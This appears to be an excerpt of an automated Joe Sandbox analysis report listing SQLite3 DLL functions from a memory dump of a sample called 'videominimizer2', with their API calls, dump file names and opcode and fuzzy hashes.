                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EB513870A047218BDB58DF69C8C074AB7A6BF65318F05896CECA69B305D735EC41CF91
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 60904396: sqlite3_mutex_try.SQLITE3(?,?,?,60908235), ref: 609043B8
                                                                                                                                                                                                                                      • sqlite3_mutex_enter.SQLITE3 ref: 6093A114
                                                                                                                                                                                                                                      • sqlite3_mutex_free.SQLITE3 ref: 6093A152
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 6093A162
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 6093A1A4
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 6093A1C3
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_free$sqlite3_mutex_entersqlite3_mutex_freesqlite3_mutex_leavesqlite3_mutex_try
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1894464702-0
                                                                                                                                                                                                                                      • Opcode ID: 7188b9a67afd66d207271078c150a83da37f36a2752b1b5804700c826a798ba9
                                                                                                                                                                                                                                      • Instruction ID: 8ebadd1dc7ee404a0f141fd21885e91e0aa1156a5a6df10951b92a0b718128ce
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7188b9a67afd66d207271078c150a83da37f36a2752b1b5804700c826a798ba9
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: CF313C70B086118BDB18DF79C8C1A1A7BFBBFB2704F148468E8418B219EB35DC419F91
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 60925326: sqlite3_log.SQLITE3 ref: 60925352
                                                                                                                                                                                                                                      • sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,609254CC), ref: 6092538E
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 609253C4
                                                                                                                                                                                                                                      • sqlite3_log.SQLITE3 ref: 609253E2
                                                                                                                                                                                                                                      • sqlite3_log.SQLITE3 ref: 60925406
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 60925443
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_log$sqlite3_mutex_leave$sqlite3_mutex_enter
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3336957480-0
                                                                                                                                                                                                                                      • Opcode ID: 1198911827aa14b9fab328e6e7c73bc961b2278be0ca20fe6461460b1b30ceeb
                                                                                                                                                                                                                                      • Instruction ID: a100dd02d465b32589d57b5b9efe4db3cd483c3b5de54de748c9b161d5d001e2
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1198911827aa14b9fab328e6e7c73bc961b2278be0ca20fe6461460b1b30ceeb
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D3315A70228704DBDB00EF28D49575ABBE6AFA1358F00886DE9948F36DD778C885DB02
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_result_blob.SQLITE3 ref: 609613D0
                                                                                                                                                                                                                                      • sqlite3_column_int.SQLITE3 ref: 6096143A
                                                                                                                                                                                                                                      • sqlite3_data_count.SQLITE3 ref: 60961465
                                                                                                                                                                                                                                      • sqlite3_column_value.SQLITE3 ref: 60961476
                                                                                                                                                                                                                                      • sqlite3_result_value.SQLITE3 ref: 60961482
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_column_intsqlite3_column_valuesqlite3_data_countsqlite3_result_blobsqlite3_result_value
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3091402450-0
                                                                                                                                                                                                                                      • Opcode ID: 15f5c91e7d752206cb5be57281081ebbda5684d1dfb7c3b21a78c03d1c189b87
                                                                                                                                                                                                                                      • Instruction ID: 8b12398a3b1f37ca0d2e1a8d549e1f0529ecbd38da511dd0edd3444da8e5cc4d
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 15f5c91e7d752206cb5be57281081ebbda5684d1dfb7c3b21a78c03d1c189b87
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 72314DB19082058FDB00DF29C48064EB7F6FF65354F19856AE8999B361EB34E886CF81
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_free
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 251237202-0
                                                                                                                                                                                                                                      • Opcode ID: ee0aefbaff40cad113deb2524f723b57adfc4224f15c8691f87345bc20e459c1
                                                                                                                                                                                                                                      • Instruction ID: 8e14962182cb4ba31828fc05f1b37fa5954e33605a362b2e641de35f96add61e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ee0aefbaff40cad113deb2524f723b57adfc4224f15c8691f87345bc20e459c1
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 022137B46087158BC709AF68C48570ABBF6FFA5318F10895DEC958B345DB74E940CB82
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_aggregate_context.SQLITE3 ref: 6091A31E
                                                                                                                                                                                                                                      • sqlite3_value_text.SQLITE3 ref: 6091A349
                                                                                                                                                                                                                                      • sqlite3_value_bytes.SQLITE3 ref: 6091A356
                                                                                                                                                                                                                                      • sqlite3_value_text.SQLITE3 ref: 6091A37B
                                                                                                                                                                                                                                      • sqlite3_value_bytes.SQLITE3 ref: 6091A387
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_value_bytessqlite3_value_text$sqlite3_aggregate_context
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4225432645-0
                                                                                                                                                                                                                                      • Opcode ID: e7dd5294350f58c57afd4f2551108a775ab72f2657aaaf635efeb712e258985e
                                                                                                                                                                                                                                      • Instruction ID: 24a20a1669ecabf1c8c9e0f75de4e20f6480f0c3e20d7f4799920e66bb4c3c2a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e7dd5294350f58c57afd4f2551108a775ab72f2657aaaf635efeb712e258985e
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3F21CF71B086588FDB009F29C48075E7BE7AFA4254F0484A8E894CF305EB34DC86CB91
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_mutex_enter.SQLITE3(?,-00000200,?), ref: 6090359D
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3(?,-00000200,?), ref: 609035E0
                                                                                                                                                                                                                                      • sqlite3_mutex_enter.SQLITE3(?,-00000200,?), ref: 609035F9
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3(?,-00000200,?), ref: 60903614
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3(?,-00000200,?), ref: 6090361C
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_free
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 251237202-0
                                                                                                                                                                                                                                      • Opcode ID: d176fa110bd2286076a254f1a84b89a7a2b75649dc4a807f2bdee778eef171d4
                                                                                                                                                                                                                                      • Instruction ID: 98a7ce7f1ce2ff6a0e5ca4ca87ec4bf20a5c319c62b2fc6798152503390b0136
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d176fa110bd2286076a254f1a84b89a7a2b75649dc4a807f2bdee778eef171d4
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B211FE725186218BCB00EF7DC8C16197FE7FB66358F01491DE866D7362D73AD480AB42
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_log
                                                                                                                                                                                                                                      • String ID: ($string or blob too big$|
                                                                                                                                                                                                                                      • API String ID: 632333372-2398534278
                                                                                                                                                                                                                                      • Opcode ID: 03236f3895d5fd10e60d1ff1eefb6ed02231b27a1c47450c0fb49d2dd58edd91
                                                                                                                                                                                                                                      • Instruction ID: 3c3a64a58f66130c0c9aec06ea77be0954bd7b4098f3428da06b6372deec6608
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 03236f3895d5fd10e60d1ff1eefb6ed02231b27a1c47450c0fb49d2dd58edd91
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5DC10CB5A043288FCB66CF28C981789B7BABB59304F1085D9E958A7345C775EF81CF40
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_stricmp
                                                                                                                                                                                                                                      • String ID: BINARY
                                                                                                                                                                                                                                      • API String ID: 912767213-907554435
                                                                                                                                                                                                                                      • Opcode ID: dd54eeba7b99beb4c129e1ce0ebb3c97c4d31291de79a9977aa1c0a9ff3222ee
                                                                                                                                                                                                                                      • Instruction ID: 142a1e9d4f1e8552d2c1f4074703eb5ae9f1e70d76b7ded3e689f9c37387bea1
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: dd54eeba7b99beb4c129e1ce0ebb3c97c4d31291de79a9977aa1c0a9ff3222ee
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 11512AB8A142159FCF05CF68D580A9EBBFBBFA9314F208569D855AB318D335EC41CB90
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Virtual$Protect$Query
                                                                                                                                                                                                                                      • String ID: @
                                                                                                                                                                                                                                      • API String ID: 3618607426-2766056989
                                                                                                                                                                                                                                      • Opcode ID: a11a59528d98c4ff7ad69dfbc7d520f68a8f714e9ef4c31244658d91e7757f1c
                                                                                                                                                                                                                                      • Instruction ID: 11fd3fd6c91f2e29dbdaed7331fdf7a08ef8f1da01c53322037319a40d79a89e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a11a59528d98c4ff7ad69dfbc7d520f68a8f714e9ef4c31244658d91e7757f1c
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 003141B5E15208AFEB14DFA9D48158EFFF5EF99254F10852AE868E3310E371D940CB52
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_malloc.SQLITE3 ref: 60928353
                                                                                                                                                                                                                                        • Part of subcall function 60916FBA: sqlite3_initialize.SQLITE3(60912743,?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5), ref: 60916FC4
                                                                                                                                                                                                                                      • sqlite3_realloc.SQLITE3 ref: 609283A0
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 609283B6
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_freesqlite3_initializesqlite3_mallocsqlite3_realloc
                                                                                                                                                                                                                                      • String ID: d
                                                                                                                                                                                                                                      • API String ID: 211589378-2564639436
                                                                                                                                                                                                                                      • Opcode ID: 4c34ce46e3d0a3d1d3def0d8ad382c8948c40f702370fc4fcdce263753dde11a
                                                                                                                                                                                                                                      • Instruction ID: 0830c2115c9ea807631a831f7f1165b0ee40d8a8a94356aa67113494a68d5982
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4c34ce46e3d0a3d1d3def0d8ad382c8948c40f702370fc4fcdce263753dde11a
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 222137B0A04205CFDB14DF59D4C078ABBF6FF69314F158469D8889B309E3B8E841CBA1
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressHandleModuleProc
                                                                                                                                                                                                                                      • String ID: _Jv_RegisterClasses$libgcj-11.dll
                                                                                                                                                                                                                                      • API String ID: 1646373207-2713375476
                                                                                                                                                                                                                                      • Opcode ID: 84d528d321f1eea6d8a1b68cb749bb1a2441192a5c5952381cf667fabd413772
                                                                                                                                                                                                                                      • Instruction ID: e6822cb61b404b68644b44a252d8259deade1a358cfa59fcc717d95409d4d83a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 84d528d321f1eea6d8a1b68cb749bb1a2441192a5c5952381cf667fabd413772
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0DE04F7062D30586FB443F794D923297AEB5F72549F00081CD9929B240EBB4D440D753
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_free
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2313487548-0
                                                                                                                                                                                                                                      • Opcode ID: 17c4197e66eccf8e4e539c70c01e6b2d08fb8491bcf73b2b2b780fd64eb57762
                                                                                                                                                                                                                                      • Instruction ID: 4e09bb13dd5a3c3c1d339de95b14bc5918580ae4e3dbdcf066e72e084d482625
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 17c4197e66eccf8e4e539c70c01e6b2d08fb8491bcf73b2b2b780fd64eb57762
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 15E14674928209EFDB04CF94D184B9EBBB2FF69304F208558D8956B259D774EC86CF81
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID: sqlite_master$sqlite_sequence$sqlite_temp_master
                                                                                                                                                                                                                                      • API String ID: 0-1177837799
                                                                                                                                                                                                                                      • Opcode ID: b45b6970ebe54efa46efcb65f0e1138f7cff2b55d537d73117a3441f01693427
                                                                                                                                                                                                                                      • Instruction ID: e5240d50caebec33bd4ce83d4b9fb982fe545a794019e3d400788b6e3ec19482
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b45b6970ebe54efa46efcb65f0e1138f7cff2b55d537d73117a3441f01693427
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F7C13974B062089BDB05DF68D49179EBBF3AFA8308F14C42DE8899B345DB39D841CB41
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
